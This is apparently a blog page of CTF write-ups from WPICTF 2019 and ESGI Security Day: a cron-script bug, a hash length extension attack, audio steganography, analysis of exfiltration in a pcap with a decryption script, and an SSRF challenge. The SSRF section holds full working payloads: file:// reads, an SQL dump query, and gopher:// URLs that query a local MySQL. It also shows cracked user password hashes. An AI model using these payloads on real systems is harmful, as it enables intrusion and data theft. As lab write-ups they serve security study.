WPICTF - crond

14 Apr 2019

description: Why not roll your own version of cron?

category: Linux - 300

According to the description, the server is running its own version of cron.

I started listing the running process:

This is the content of the /usr/bin/fakecron file:

#!/bin/bash

# Cron. But worse.

#

# Copyright (c) 2019, SuckMore Software, a division of WPI Digital Holdings Ltd.

# Redistribution and use in source and binary forms, with or without

# modification, are permitted provided that the following conditions are met:

# 1. Redistributions of source code must retain the above copyrig

#    notice, this list of conditions and the following disclaimer.

# 2. Redistributions in binary form must reproduce the above copyright

#    notice, this list of conditions and the following disclaimer in the

#    documentation and/or other materials provided with the distribution.

# 3. All advertising materials mentioning features or use of this software

#    must display the following acknowledgement:

#    This product includes software developed by SuckMore Software, a division

#    of WPI Digital Holdings Ltd.

# 4. Neither the name of the SuckMore Software, a division of WPI Digital Holdings

#    Ltd, nor the names of its contributors may be used to endorse or promote

#    products derived from this software without specific prior written permission.

#

# THIS SOFTWARE IS PROVIDED BY SuckMore Software, a division of

# WPI Digital Holdings Ltd., ''AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,

# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND

# FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL

# SuckMore Software, a division of WPI Digital Holdings Ltd.

# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES

# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;

# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND

# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT

# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS

# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.


file="/etc/deadline"

cron() {
    second=0
    minute=0
    hour=0
    day=1;
    month=1;
    year=2019;

    while true; do
        sleep 1;
        target_second=`cut -d " " -f 6 $file`
        target_minute=`cut -d " " -f 5 $file`
        target_hour=`cut -d " " -f 4 $file`
        target_day=`cut -d " " -f 3 $file`
        target_month=`cut -d " " -f 2 $file`
        target_year=`cut -d " " -f 1 $file`

        if [[ "$second" -eq 59 ]]; then
            minute=$((minute+1));
            second=0;
        elif [[ "$minute" -eq 59 ]]; then
            hour=$((hour+1));
            second=0;
            minute=0;
        else
            second=$((second+1));
        fi

        if [[ "$year" -eq "$target_year" ]] \

            && [[ "$month" -eq "$target_month" ]] \

            && [[ "$day" -eq "$target_day" ]] \

            && [[ "$hour" -eq "$target_second" ]] \

            && [[ "$minute" -eq "$target_minute" ]] \

            && [[ "$second" -eq "$target_hour" ]]; then
            # echo "WPI{}" > /home/ctf/flag.txt

            exec_flag
        fi

        rm /etc/faketimerc
        echo "$year-$month-$day $hour:$minute:$second" > /etc/faketimerc
    done
}

cron &

The script is will compare the current system time (and put it in /etc/faketimerc) to the content of /etc/deadline There is just one thing to note !!

...
&& [[ "$hour" -eq "$target_second" ]] \

...
&& [[ "$second" -eq "$target_hour" ]]; then
...

The hour and second values are swapped.

Now let’s write to /etc/deadline:

sh-4.4$ cat /etc/deadline
2020 1 1 0 1 1
sh-4.4$ cat /etc/faketimerc
2019-1-1 0:8:26
sh-4.4$ echo "2019 1 1 20 9 0" > /etc/deadline
sh-4.4$ cat /etc/faketimerc
2019-1-1 0:8:59
sh-4.4$cat /etc/faketimerc
2019-1-1 0:9:37
sh-4.4$ ls ~/
flag.txt
sh-4.4$ cat ~/flag.txt
"WPI{L1nUxH@ck3r01a4}"
sh-4.4$

The flag is WPI{L1nUxH@ck3r01a4}

WPICTF - bogged

14 Apr 2019

description: Two strange men called me last night. They call themselves the Bogdanoff twins. I don’t know much about cryptocurrency- can you help them with their scheme?

category: Cryptography - 150

Investigations :

First, let’s have a look to the leaked_source.py file:

import hashlib

secret = ""

def generate_command_token(command, secret):
    hashed = hashlib.sha1(secret+command).hexdigest() 
    return hashed

def validate_input(command, token_in):
    token = hash_command(command, secret)

    if token == token_in:
        return True
    else:
        return False

while(True):
    print("Command:")
    command = raw_input(">>>")
    print('Auth token:')
    token = raw_input(">>>")
    print
    if validate_input(command, token) == False:
        print("Error: Auth token does not match provided command..")
    else:
        execute_command(command)
    print

Well, we do not have the whole code but we can easily guess what we have to do. When you see {SOME_HASHING_FUNC}(secret+command) it’s about hash length extension attack and you can find some good information about it here

This attack consists in adding a payload in your entry so that when you calculate the new hash, you won’t have to know the secret. This attack would not work if it was SOME_HASHING_FUNC(command+secret).

Let’s now see this service using nc… we obtain this output:

$ nc bogged.wpictf.xyz 31337

BOGDANOFF:

Bonjour... 
We have access to the Binance backdoor, and got you into a compromised teller station.
We need you to steal tethered cryptocurrency from people's wallets.
We were halted by an unfortunate countermeasure in the teller system, but we have an account ready to recieve the stolen crypto.

Steal the currency from cryptowojak123. Transfer it to not_b0gdan0ff. 

Transfer everything... then we will kill him, and find another.

Do not fail us. 









Welcome to the Binance Teller Terminal!
Please remember to use admin-issued auth tokens with each account transfer!

Either enter a command or one of the following keywords:

accounts: List of accounts currently on the system.
history: A history of prior terminal commands.
help: A reminder on how to use this terminal.

Command:
>>>help

You may either withdraw funds from an account or deposit funds to an account.
Withdraw with the following command:
withdraw ACCOUNT_NAME
Deposit with the following command:
deposit ACCOUNT_NAME
Commands may be chained, as follows:
withdraw ACCOUNT_NAME;deposit ACCOUNT_NAME;...

An authorization token unique to the command contents must exist for the transaction to succeed!
(Sorry, but we have to protect from malicious employees.)
Contact admin@dontactuallyemailthis.net to get auth tokens for different transfer commands!

Command:
>>>history

///// TRANSACTION HISTORY //////////////////////////

Command:
>>>withdraw john.doe
Auth token:
>>>b4c967e157fad98060ebbf24135bfdb5a73f14dc
Action successful!

Command:
>>>withdraw john.doe;deposit xXwaltonchaingangXx
Auth token:
>>>455705a6756fb014a4cba2aa0652779008e36878
Action successful!

Command:
>>>withdraw cryptowojak123;deposit xXwaltonchaingangXx
Auth token:
>>>e429ffbfe7cabd62bda3589576d8717aaf3f663f
Action successful!

Command:
>>>withdraw john.doe
Auth token:
>>>b4c967e157fad98060ebbf24135bfdb5a73f14dc
Action successful!

////////////////////////////////////////////////////

Command:
>>>

So we have some transaction history and we want to transfer money from cryptowojak123 to not_b0gdan0ff.

We detect 1 interesting transaction fast and it will be useful later:

>>>withdraw cryptowojak123;deposit xXwaltonchaingangXx
Auth token:
>>>e429ffbfe7cabd62bda3589576d8717aaf3f663f
Action successful!

Payload injection :

Now let’s work on payload injection.

There is a hash extender tool on github.

To inject a payload, we first need to know the secret length (I’ll injection only a ‘;’ for the moment) :

Great, our command is unreadable but our injection worked ! now let send something else than ‘;’, for example ‘;withdraw xXwaltonchaingangXx; deposit not_b0gdan0ff;’:

YEAH ! flag is : WPI{duMp_33t_aNd_g@rn33sh_H1$_wAg3$}

WPICTF - CSC The musical

14 Apr 2019

description: […]

category: Steganography

The challenge was providing a link to a web page containing an audio file : theMusical.mp3 Opened with Audacity, we get the following :

When we listen to the sound, we can recognize piano notes. If you have the perfect pitch, you can easily recognize the notes that you are hearing. If not, then you can use any tuner app on your smartphone, just like everyone… At the end you should get the following notes :

E4 F4 D5 E4 F4 D4 E4 E4 E4 E4 D5 G4 E4 C5 D5 E4 C5 D4 E4 B4 E4 E4 A4 G4 E4 C5 A4 E4 A4 C5 E4 C5 A4 E4 B4 D4 D4 C5 G4 E4 B4 B4 E4 C5 B4 D4 C5 B4 E4 B4 E4 E4 A4 G4 E4 A4 E4 D4 C5 E4 E4 D5 B4

We can notice that in most cases, each every 3 notes, we’ve got an “E”. The total amount of notes is 63 and 63 / 3 = 21. So we can think that we have 21 groups of 3 notes.

Now let’s try to put values on them… The lowest note in term of frequency is D4, so let’s consider it as our “base” and assign to it the value 0. In this way, we can increment the value of the following notes and obtain :

Given the previous picture, we can convert our notes to values and then recognize the octal values of ASCII symbols :

oct	127	120	111	173	167	160	151	143	164	146	164	150	063	155	165	065	151	143	141	061	175
ascii	W	P	I	{	w	p	i	c	t	f	t	h	3	m	u	5	i	c	a	1	}

Flag: WPI{wpictfth3mu5ica1}

ESGISECURITYDAY - Caper

06 Apr 2019

description: Hey psst Petit, je t’ai entendu dans le bar. Tu cherches M0th3r ? oO Ne fais pas cette tète, faut vraiment que t’apprenne a être plus discret. J’écoute tout ce qui se passe à Cyber Build. D’ailleurs voici la capture d’une de ses dernières Opération. Ça vaut de l’OR.

category: Forensic

The challenge was providing a network traffic capture file : caper.pcapng. When we anlyse the first TCP session, we can see the following HTTP request: GET /config.json The content of the JSON file is show on the screenshot below:

config.json

This file is a configuration file used by the tool DET (extensible) Data Exfiltration Toolkit.

Github : Data Exfiltration Toolkit

This tool gives the ability to exfiltrate files from a network by using multiple protocols and techniques. The file to exfiltrate is encrypted before beeing cut into pieces which are then sent base 64 encoded to the exfiltration server.

In our case 2 protocols were used for exfiltration : ICMP and HTTP.

And the key used for AES encryption : “S3cur1tyD4y”

Extract data from ICMP :

For this channel, the data is inserted into the Data field of ICMP request. We can use Tshark to gather the raw data inserted in the ICMP requests :

tshark -r caper.pcapng -Y "icmp.type==0" -T fields -e data

After converting the bytes into ASCII characters, we can decode the base64 and get some parts of the transaction :

I5LS9MX|!|flag.txt|!|REGISTER|!|3ec59ac658986a43921d824ae06ea494 I5LS9MX|!|1|!|d336c4194b8c3d5a8f96d50e926db9efdafa006037570e2899ddba564efd7ec5cacf0910d02ef8bbe51c40e97485e70f58737c1747dac16367c8feeb36ab6ad4325c949cfffbc81d6d2274abf75fd99ee7012f962ae71fca8e37f8df455305b4503824ff06cb1a4f31cd699308fcf03af16e59f4f07040fc6308eb8be9552766080b881fe595e40ca1ae05c9a0b0c5cfa371691ea4443643f825ed9676b3f21c73b49cf7b23b1b38269bfac263bfe4a6493425f0e6b4757a21552f73f7a58dc072f57fe73b6386326125b3fa93be68f185d523a95a3e48159a8244bee23ae70b3a4acf0fc917e94835a5e6f1bb0700f94472d924e1d4b89e57b46e64c5d47a00b4602ebad118ecdea48bb860691be4d8f7d9fccf0afcab660c6305193c84f91b8550ec7e354dafd8080ff01e4d29df192465a1da564237f583472d30886f0e9391bb6a0ddfbcfadda44b95ad069209a3e90b9bc3650831a3e63925b0adfe1161fcf4f28c8b26ebf147edfdfbfa73359c510fbb67b6b3c662ceed56cfac75ca8d06dc12df6e83efbbbfe2 I5LS9MX|!|2|!|4030de613bb59dc4329e59e6b9b857312522cf6a12dde919ac26a3bc96b62f98247ea32762fc0d85e19f9c33afee6925a00e8dc4865bff24b4931f7f9c4ad7039adc78009ba2ec11fb7c9485e864f3260e4e3c20ef6356e9f5636f6e28a55e09613782d167e10280c7aa83e568de30c9888c5c779fe6b9362118ba0e78e4b9a6bfee0305d173d7ce3e0670bd1a1c2cf1c2744e33ac1cd0fd97b323eb59a911023c28234c1af9224722809b1b3d51f2e10b7e90d804a5867394ab5ad4b64f3d170886f8f6078723a40bb1bd240f920a1b667de3638c1b48c0a2cec4c5674c1ae9825944fd62af5614aa3bdfc8758f6c74787a94bc29a7a336a78a02b49a31491f85c36ad714931bf5ca163c1e8dbb96fd6d7b87debc5ab5c5a3131d3e40f1ec659393c9e0ff6afdda92dd834fe1bd9d6e6942436242f070d044694c3fc230338f0ffcf77aefb98c2c12908789a45be681c7972198d3832ecc73cb563b4422d7461abc83a74785f4255b1801fba76da51991e5aba6e4a3cc99f90816ff00891ebd2da9693cb565fa66ba287cb6b1c39c I5LS9MX|!|4|!|DONE

We can see that we get the registration of the file with its filename and its hash, part 1 and part 2 of the data and the final message ending the transaction. We still miss part 0 and part 3 of the data in order to recover the original file.

Extract data from HTTP :

For this channel, the data is send over POST requests (application/x-www-form-urlencoded). Again, we use Tshark to extract the data from the PCAP :

tshark -r caper.pcapng -Y "http.request.method==POST" -T fields -e http.file_data

After decoding the base64 obtained with the previous command, we obtain the missing parts :

I5LS9MX|!|0|!|512b74ac48546bd6b065110d86c593658b15fee5c7f78f892e50442ef1aba6ec1e395c0cda4a6d475557212bca6bb2256dc1c0b6c8a0a10b3f45eefcfbb067efcd5b4317a8f8f4ee3a3d1566257aa6e1c15a5a5dafe9e400718843e65be2b97b47e8a17f501dffc81066f48f738a8b2b3c91c83a9038c44f4482c784747a5841a66fdf5b174be52f8df37313501a96ed1e5f7af7e0092db73a4eedd07f5522e82b19caee379a21f6eec66c8ef8488f6d85bc3b725c37d6fdb48b712e8d8cc2459eb18d6048f3cb44991016a66dcda1cf643bd600afd9addad340baee1e364a19a1fb5d03581e0d84b7cd3d2f0f5d97429a6cbdebf9a4c4f2342e830463066a0a0c149d95b8b478b603efe1c3b8af7f46cfd463c045bf5a906282615d0d87408e8db4677aeeb058bdb6da1999995a2b9231183464350bee1d6b37d947b5755dd9ee18cd8c20e0a3e65306d95dfe177290632fb74e2ab420a0de0771d64186c650bd20fb274dfe41f48098732f6f8b I5LS9MX|!|3|!|930776bb930de41985b536645e2b1b8bcd0b4107131480767667769f1181e03eadbc90eb65eaea01ba70ffdc54b9490275b6e8072b3143a264b10ab6e4a4ca50ca76ff35d6e4178a4c3c62a2049992863a88b6771f5c7a81a3a8c6d288f3740e8b8cb720ef38af92f73a683ef548f52943d89d89486603b3112d6d14d8fe4a2ff4e0e41e995976648d573d9a418ec60120aa30ffc3ac6f1d6f2b8138847fb357ce158789b6b912d4def3ffd5b7905c569f78b6a46d531d3f1c

Decrypt data and recover original file :

We first need to put back the different parts of the transaction in the right order. We can then remove the first and last parts : I5LS9MX|!|flag.txt|!|REGISTER|!|3ec59ac658986a43921d824ae06ea494 and I5LS9MX|!|4|!|DONE.

We also remove the prefix : I5LS9MX|!|<id>|!| to keep only the AES encrypted data. We can then write a script based on the source code of DET to decrypt the message :

#!/usr/bin/python

import hashlib
from Crypto.Cipher import AES
from zlib import compress, decompress

def aes_decrypt(message, key):
    try:
        # Retrieve CBC IV
        iv = message[:AES.block_size]
        message = message[AES.block_size:]

        # Derive AES key from passphrase
        aes = AES.new(hashlib.sha256(key).digest(), AES.MODE_CBC, iv)
        message = aes.decrypt(message)

        # Remove PKCS5 padding
        unpad = lambda s: s[:-ord(s[len(s) - 1:])]

        return unpad(message)
    except Exception as i:
        print i
	return None


def retrieve_file(message, key):

    content = aes_decrypt(message, key)
    content = decompress(content)
    print content   


message="512b74ac48546bd6b065110d86c593658b15fee5c7f78f892e50442ef1aba6ec1e395c0cda4a6d475557212bca6bb2256dc1c0b6c8a0a10b3f45eefcfbb067efcd5b4317a8f8f4ee3a3d1566257aa6e1c15a5a5dafe9e400718843e65be2b97b47e8a17f501dffc81066f48f738a8b2b3c91c83a9038c44f4482c784747a5841a66fdf5b174be52f8df37313501a96ed1e5f7af7e0092db73a4eedd07f5522e82b19caee379a21f6eec66c8ef8488f6d85bc3b725c37d6fdb48b712e8d8cc2459eb18d6048f3cb44991016a66dcda1cf643bd600afd9addad340baee1e364a19a1fb5d03581e0d84b7cd3d2f0f5d97429a6cbdebf9a4c4f2342e830463066a0a0c149d95b8b478b603efe1c3b8af7f46cfd463c045bf5a906282615d0d87408e8db4677aeeb058bdb6da1999995a2b9231183464350bee1d6b37d947b5755dd9ee18cd8c20e0a3e65306d95dfe177290632fb74e2ab420a0de0771d64186c650bd20fb274dfe41f48098732f6f8bd336c4194b8c3d5a8f96d50e926db9efdafa006037570e2899ddba564efd7ec5cacf0910d02ef8bbe51c40e97485e70f58737c1747dac16367c8feeb36ab6ad4325c949cfffbc81d6d2274abf75fd99ee7012f962ae71fca8e37f8df455305b4503824ff06cb1a4f31cd699308fcf03af16e59f4f07040fc6308eb8be9552766080b881fe595e40ca1ae05c9a0b0c5cfa371691ea4443643f825ed9676b3f21c73b49cf7b23b1b38269bfac263bfe4a6493425f0e6b4757a21552f73f7a58dc072f57fe73b6386326125b3fa93be68f185d523a95a3e48159a8244bee23ae70b3a4acf0fc917e94835a5e6f1bb0700f94472d924e1d4b89e57b46e64c5d47a00b4602ebad118ecdea48bb860691be4d8f7d9fccf0afcab660c6305193c84f91b8550ec7e354dafd8080ff01e4d29df192465a1da564237f583472d30886f0e9391bb6a0ddfbcfadda44b95ad069209a3e90b9bc3650831a3e63925b0adfe1161fcf4f28c8b26ebf147edfdfbfa73359c510fbb67b6b3c662ceed56cfac75ca8d06dc12df6e83efbbbfe24030de613bb59dc4329e59e6b9b857312522cf6a12dde919ac26a3bc96b62f98247ea32762fc0d85e19f9c33afee6925a00e8dc4865bff24b4931f7f9c4ad7039adc78009ba2ec11fb7c9485e864f3260e4e3c20ef6356e9f5636f6e28a55e09613782d167e10280c7aa83e568de30c9888c5c779fe6b9362118ba0e78e4b9a6bfee0305d173d7ce3e0670bd1a1c2cf1c2744e33ac1cd0fd97b323eb59a911023c28234c1af9224722809b1b3d51f2e10b7e90d804a5867394ab5ad4b64f3d170886f8f6078723a40bb1bd240f920a1b667de3638c1b48c0a2cec4c5674c1ae9825944fd62af5614aa3bdfc8758f6c74787a94bc29a7a336a78a02b49a31491f85c36ad714931bf5ca163c1e8dbb96fd6d7b87debc5ab5c5a3131d3e40f1ec659393c9e0ff6afdda92dd834fe1bd9d6e6942436242f070d044694c3fc230338f0ffcf77aefb98c2c12908789a45be681c7972198d3832ecc73cb563b4422d7461abc83a74785f4255b1801fba76da51991e5aba6e4a3cc99f90816ff00891ebd2da9693cb565fa66ba287cb6b1c39c930776bb930de41985b536645e2b1b8bcd0b4107131480767667769f1181e03eadbc90eb65eaea01ba70ffdc54b9490275b6e8072b3143a264b10ab6e4a4ca50ca76ff35d6e4178a4c3c62a2049992863a88b6771f5c7a81a3a8c6d288f3740e8b8cb720ef38af92f73a683ef548f52943d89d89486603b3112d6d14d8fe4a2ff4e0e41e995976648d573d9a418ec60120aa30ffc3ac6f1d6f2b8138847fb357ce158789b6b912d4def3ffd5b7905c569f78b6a46d531d3f1c"

key="S3cur1tyD4y"

print retrieve_file(message.decode("hex"),key)

After execution, this script gives us the flag : ESGI{DET_1s_A_R3aly_GR3aT_t00L} followed by a text in Latin…

ESGISECURITYDAY - Rookie

06 Apr 2018

description: M0th3r >Hey bah quoi ? Tu t’attendais au grand M0th3r légendaire. Désolé de te décevoir. Il parait que tu veux servir la cause ? Tu m’as trouvé mais c’est pas encore gagné. C’est pas dit que j’te prenne sous mon aisselle. Tiens, entraîne toi, et on verra peut être si t’as l’étoffe d’un Pirate Cybernétique.

category: Web

First Eckmühl Down web challenge was a simple SSRF, where you had to request the service listening on the port 22. it would make a request to the URL and export the content as a PDF file. With it we can get the flag ESGI{Duke-083-B4seLine-J.D.456}.

The next challenge Rookie(ctf.hacklab-esgi.org:8082), was also an SSRF, once again we can try to scan the port and we see the port 3306 (MySQL is open), a direct nmap scan will show it as filtered.

<h1>Website checker</h1>
<p>Nous utilisons une nouvelle technologie parfaitement sûre pour tester vos divers sites internet. N'hésitez pas à nous donner du Dodgecoin!</p>
<form action="index.php" method="post">
    URL Checker : 
    <input type="text" name='url' />		
</form>

Let’s extract the source code of the challenge in order to get more context. First we extract the current working directory from /proc/self/environ with the following payload file:///proc/self/environ.

Now we know the web application is located at /var/www/html/, with the same trick we can request the content of index.php.

<?php 
include_once "config_test.php";
?>

There is a mention of a config_test.php file, this one contains the following line // TODO: MySQL connection with "tiix" user and adding a MySQL password....

Now we know a user tiix, also he doesn’t have a password, based on that we can craft a payload to interact the MySQL database. Using Gopherus and the DumpInOneShot payload from PayloadsAllTheThings.

Dump in one shot payload : (select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,' ] > ',table_name,' > ',column_name,0x7C))))a)#.

The Gopher protocol allows us to send arbitratry content to a service.

curl -v 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%69%69%78%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%cd%00%00%00%03%28%73%65%6c%65%63%74%20%28%40%29%20%66%72%6f%6d%20%28%73%65%6c%65%63%74%28%40%3a%3d%30%78%30%30%29%2c%28%73%65%6c%65%63%74%20%28%40%29%20%66%72%6f%6d%20%28%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%63%6f%6c%75%6d%6e%73%29%20%77%68%65%72%65%20%28%74%61%62%6c%65%5f%73%63%68%65%6d%61%3e%3d%40%29%20%61%6e%64%20%28%40%29%69%6e%20%28%40%3a%3d%63%6f%6e%63%61%74%28%40%2c%30%78%30%44%2c%30%78%30%41%2c%27%20%5b%20%27%2c%74%61%62%6c%65%5f%73%63%68%65%6d%61%2c%27%20%5d%20%3e%20%27%2c%74%61%62%6c%65%5f%6e%61%6d%65%2c%27%20%3e%20%27%2c%63%6f%6c%75%6d%6e%5f%6e%61%6d%65%2c%30%78%37%43%29%29%29%29%61%29%23%01%00%00%00%01'b
5.5.5-10.1.37-MariaDB-0+deb9u1ab>NN{D}i��-?�w=eeL-9ug"n)mysql_native_passworddef(@)?������"�����
 [ information_schema ] > ALL_PLUGINS > PLUGIN_NAME|
 [ information_schema ] > ALL_PLUGINS > PLUGIN_VERSION|
 [ information_schema ] > ALL_PLUGINS > PLUGIN_STATUS|
 [ information_schema ] > ALL_PLUGINS > PLUGIN_TYPE|
 [ information_schema ] > ALL_PLUGINS > PLUGIN_TYPE_VERSION|
 [ information_schema ] > ALL_PLUGINS > PLUGIN_LIBRARY|
 [ information_schema ] > ALL_PLUGINS > PLUGIN_LIBRARY_VERSION|
 [ information_schema ] > ALL_PLUGINS > PLUGIN_AUTHOR|
 [ information_schema ] > ALL_PLUGINS > PLUGIN_DESCRIPTION|
 [ information_schema ] > ALL_PLUGINS > PLUGIN_LICENSE|
 [ information_schema ] > ALL_PLUGINS > LOAD_OPTION|
 [ information_schema ] > ALL_PLUGINS > PLUGIN_MATURITY|
 ...
 [ securityday ] > nothinghere > flag|
 [ securityday ] > nothinghere > funny|
 [ securityday ] > users > id|
 [ securityday ] > users > name|
 [ securityday ] > users > email|
 [ securityday ] > users > password

The challenge has a table nothinghere and users. First we can extract users from the database : gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%69%69%78%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%20%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%73%65%63%75%72%69%74%79%64%61%79%2e%75%73%65%72%73%01%00%00%00%01.

tmysql_native_password
0luzarkREDACTED 9684dd2a6489bf2be2fbdd799a8028e36
1	kickbhackREDACTED df90e13fa7699df8a377946815cf5dc44	
2glaciusREDACTED 2a1c895a72d8f899852bcecae26e52dc
3makierlbgeurbgeirlbg@yopmail.com c4566b37904e58ac4ae4dbf7e3bf99325
4geluchatREDACTED 7682fe272099ea26efe39c890b33675b

9684dd2a6489bf2be2fbdd799a8028e3 MD5 poney 
df90e13fa7699df8a377946815cf5dc4 MD5 lapin 
2a1c895a72d8f899852bcecae26e52dc MD5 zizi 
c4566b37904e58ac4ae4dbf7e3bf9932 [No Match] 
7682fe272099ea26efe39c890b33675b MD5 azertyuiop

Some nice passwords, now let’s get the flag from security.nothinghere.

python2 gopherus.py --exploit mysql


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$

For making it work username should not be password protected!!!

Give MySQL username: tiix
Give query to execute: select flag from securityday.nothinghere;

Your gopher link is ready to do SSRF : 

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%74%69%69%78%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%2a%00%00%00%03%73%65%6c%65%63%74%20%66%6c%61%67%20%66%72%6f%6d%20%73%65%63%75%72%69%74%79%64%61%79%2e%6e%6f%74%68%69%6e%67%68%65%72%65%3b%01%00%00%00%01

Flag is ESGI{W3lC0me_R00ki3_M0th3r_1s_0ld}.

Older Newer

CTF Shell Club

WPICTF - crond

WPICTF - bogged

Investigations :

Payload injection :

WPICTF - CSC The musical

ESGISECURITYDAY - Caper

Extract data from ICMP :

Extract data from HTTP :

Decrypt data and recover original file :

ESGISECURITYDAY - Rookie